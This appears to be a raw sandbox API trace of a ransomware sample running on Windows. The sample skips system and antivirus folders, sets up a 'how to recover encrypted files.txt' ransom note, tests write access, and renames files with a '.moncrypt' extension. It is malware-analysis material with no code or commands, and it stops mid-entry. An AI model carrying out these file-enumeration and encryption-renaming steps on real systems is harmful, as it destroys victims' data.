FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\VideoWall\\Oracle", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a918, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="蘜T䱠@伤R企@\x18?T\x18y")) returned 0xffffffff [0058.752] GetLastError () returned 0x2 [0058.752] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\VideoWall\\", cchLength=0x36 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\videowall\\") returned 0x36 [0058.752] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8f0, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="oracle\\T ") returned 7 [0058.752] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\VideoWall\\Archive", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a918, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="蘜T䱠@ꐬR企@\x18?T\x18\x81")) returned 0xffffffff [0058.753] GetLastError () returned 0x2 [0058.753] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\VideoWall\\", cchLength=0x36 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\videowall\\") returned 0x36 [0058.753] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8f0, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="archiveT ") returned 7 [0058.753] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\VideoWall\\Backup", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a918, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="蘜T䱠@夜U企@\x18?T\x18\x88")) returned 0xffffffff [0058.753] GetLastError () returned 0x2 [0058.753] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\VideoWall\\", cchLength=0x36 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\videowall\\") returned 0x36 [0058.753] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8f0, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="backup?T ") returned 6 [0058.753] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\VideoWall\\Reserv", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a918, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="蘜T䱠@伤R企@\x18?T\x18\x8f")) returned 0xffffffff [0058.753] GetLastError () returned 0x2 [0058.753] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\VideoWall\\", cchLength=0x36 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\videowall\\") returned 0x36 [0058.753] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8f0, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="reserv?T ") returned 6 [0058.753] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\VideoWall\\Restore", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a918, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="蘜T䱠@ꐬR企@\x18?T\x18\x97")) returned 0xffffffff [0058.753] GetLastError () returned 0x2 [0058.753] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\VideoWall\\", cchLength=0x36 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\videowall\\") returned 0x36 [0058.753] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8f0, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="restoreT ") returned 7 [0058.753] GlobalLock (hMem=0x440004) returned 0x550170 [0058.753] GlobalHandle (pMem=0x550170) returned 0x440004 [0058.754] GlobalUnlock (hMem=0x440004) returned 0 [0058.754] GlobalLock (hMem=0x440004) returned 0x550170 [0058.754] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.754] GlobalHandle (pMem=0x550170) returned 0x440004 [0058.754] GlobalUnlock (hMem=0x440004) returned 0 [0058.754] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.754] GlobalUnlock (hMem=0x44000c) returned 0 [0058.754] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\VideoWall\\", cchLength=0x36 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\videowall\\") returned 0x36 [0058.754] GetEnvironmentVariableA (in: lpName="ALLUSERSPROFILE", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0058.754] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a748, cbMultiByte=15, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\") returned 15 [0058.754] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\VideoWall\\", cchLength=0x36 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\videowall\\") returned 0x36 [0058.754] GetEnvironmentVariableA (in: lpName="APPDATA", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned 0x2d [0058.754] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1ddb5e8, cbMultiByte=46, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 46 [0058.754] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\VideoWall\\", cchLength=0x36 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\videowall\\") returned 0x36 [0058.754] GetEnvironmentVariableA (in: lpName="ProgramData", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0058.754] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=15, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 15 [0058.754] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\VideoWall\\", cchLength=0x36 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\videowall\\") returned 0x36 [0058.754] GetEnvironmentVariableA (in: lpName="WINDIR", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\Windows") returned 0xa [0058.754] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8c0, cbMultiByte=11, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\windows\\ata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 11 [0058.754] GlobalLock (hMem=0x44000c) returned 0x550170 [0058.754] GlobalHandle (pMem=0x550170) returned 0x44000c [0058.754] GlobalUnlock (hMem=0x44000c) returned 0 [0058.754] GlobalLock (hMem=0x44000c) returned 0x550170 [0058.754] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.754] GlobalHandle (pMem=0x550170) returned 0x44000c [0058.754] GlobalUnlock (hMem=0x44000c) returned 0 [0058.754] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.754] GlobalUnlock (hMem=0x440004) returned 0 [0058.754] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\VideoWall\\", cchLength=0x36 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\videowall\\") returned 0x36 [0058.754] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=15, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\$recycle.bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 15 [0058.755] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\VideoWall\\", cchLength=0x36 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\videowall\\") returned 0x36 [0058.755] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8f0, cbMultiByte=11, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\all users\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 11 [0058.755] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\VideoWall\\", cchLength=0x36 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\videowall\\") returned 0x36 [0058.755] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8f0, cbMultiByte=9, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\appdata\\s\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 9 [0058.755] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\VideoWall\\", cchLength=0x36 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\videowall\\") returned 0x36 [0058.755] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=18, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\application data\\alpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 18 [0058.755] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\VideoWall\\", cchLength=0x36 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\videowall\\") returned 0x36 [0058.755] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=28, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\system volume information\\pdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 28 [0058.755] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\VideoWall\\", cchLength=0x36 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\videowall\\") returned 0x36 [0058.755] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8f0, cbMultiByte=10, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\windows\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 10 [0058.755] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\VideoWall\\", cchLength=0x36 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\videowall\\") returned 0x36 [0058.755] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8f0, cbMultiByte=8, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\intel\\s\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 8 [0058.755] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\VideoWall\\", cchLength=0x36 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\videowall\\") returned 0x36 [0058.755] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8f0, cbMultiByte=9, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\nvidia\\\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 9 [0058.755] CharLowerBuffW (in: lpsz="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\VideoWall\\", cchLength=0x36 | out: lpsz="c:\\program files\\dvd maker\\shared\\dvdstyles\\videowall\\") returned 0x36 [0058.755] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=13, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\trend micro\\me information\\pdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 13 [0058.755] GlobalLock (hMem=0x440004) returned 0x550170 [0058.755] GlobalHandle (pMem=0x550170) returned 0x440004 [0058.755] GlobalUnlock (hMem=0x440004) returned 0 [0058.755] GlobalLock (hMem=0x440004) returned 0x550170 [0058.755] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.755] GlobalHandle (pMem=0x550170) returned 0x440004 [0058.755] GlobalUnlock (hMem=0x440004) returned 0 [0058.755] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.755] GlobalUnlock (hMem=0x44000c) returned 0 [0058.755] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\VideoWall\\*.*", lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1ad8615, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa820921, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1ad8615, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e240 [0058.755] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1ad8615, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa820921, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1ad8615, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0058.756] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f2a3ff0, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f2a3ff0, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554a7971, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb04, dwReserved0=0x0, dwReserved1=0x0, cFileName="203x8subpicture.png", cAlternateFileName="")) returned 1 [0058.756] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea88 | out: lpLocalFileTime=0x18ea88) returned 1 [0058.756] FileTimeToDosDateTime (in: lpFileTime=0x18ea88, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.756] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.756] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.756] GlobalUnlock (hMem=0x44000c) returned 0 [0058.756] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.756] GlobalLock (hMem=0x440004) returned 0x559b88 [0058.756] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.756] GlobalUnlock (hMem=0x44000c) returned 0 [0058.756] GlobalHandle (pMem=0x559b88) returned 0x440004 [0058.756] GlobalUnlock (hMem=0x440004) returned 0 [0058.756] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.756] CharLowerBuffW (in: lpsz="203x8subpicture.png", cchLength=0x13 | out: lpsz="203x8subpicture.png") returned 0x13 [0058.756] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.756] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.756] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.756] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.756] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.756] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.756] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.756] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.756] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.756] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.756] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.756] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.756] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.756] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.756] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="8", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="8ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.756] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="x", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="xê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.756] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="3", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="3ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.757] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="0", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.757] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="2", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="2ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.757] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0058.757] CharLowerBuffW (in: lpsz=".png", cchLength=0x4 | out: lpsz=".png") returned 0x4 [0058.757] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".png", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".pngles\\VideoWall\\203x8subpicture.png", lpUsedDefaultChar=0x0) returned 4 [0058.757] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\VideoWall\\я" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\videowall\\я"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0058.757] WriteFile (in: hFile=0x18c, lpBuffer=0x1e61d58*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1e61d58*, lpNumberOfBytesWritten=0x18ea30*=0x1, lpOverlapped=0x0) returned 1 [0058.758] CloseHandle (hObject=0x18c) returned 1 [0058.758] DeleteFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\VideoWall\\я" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\videowall\\я")) returned 1 [0058.759] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\VideoWall\\203x8subpicture.png", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f2a3ff0, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f2a3ff0, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554a7971, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb04, dwReserved0=0x0, dwReserved1=0x0, cFileName="203x8subpicture.png", cAlternateFileName="")) returned 0x54e280 [0058.759] FileTimeToLocalFileTime (in: lpFileTime=0x18e7d8, lpLocalFileTime=0x18e6f0 | out: lpLocalFileTime=0x18e6f0) returned 1 [0058.759] FileTimeToDosDateTime (in: lpFileTime=0x18e6f0, lpFatDate=0x18e7a6, lpFatTime=0x18e7a4 | out: lpFatDate=0x18e7a6, lpFatTime=0x18e7a4) returned 1 [0058.759] FindClose (in: hFindFile=0x54e280 | out: hFindFile=0x54e280) returned 1 [0058.760] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\VideoWall\\203x8subpicture.png", dwFileAttributes=0x20) returned 0 [0058.760] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d700, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0058.760] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\VideoWall\\203x8subpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\videowall\\203x8subpicture.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\VideoWall\\203x8subpicture.png.moncrypt" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\videowall\\203x8subpicture.png.moncrypt")) returned 0 [0058.760] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f27de93, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f27de93, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554a7971, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x4d86, dwReserved0=0x0, dwReserved1=0x0, cFileName="videowall.png", cAlternateFileName="")) returned 1 [0058.760] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0058.760] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.760] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.760] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.761] 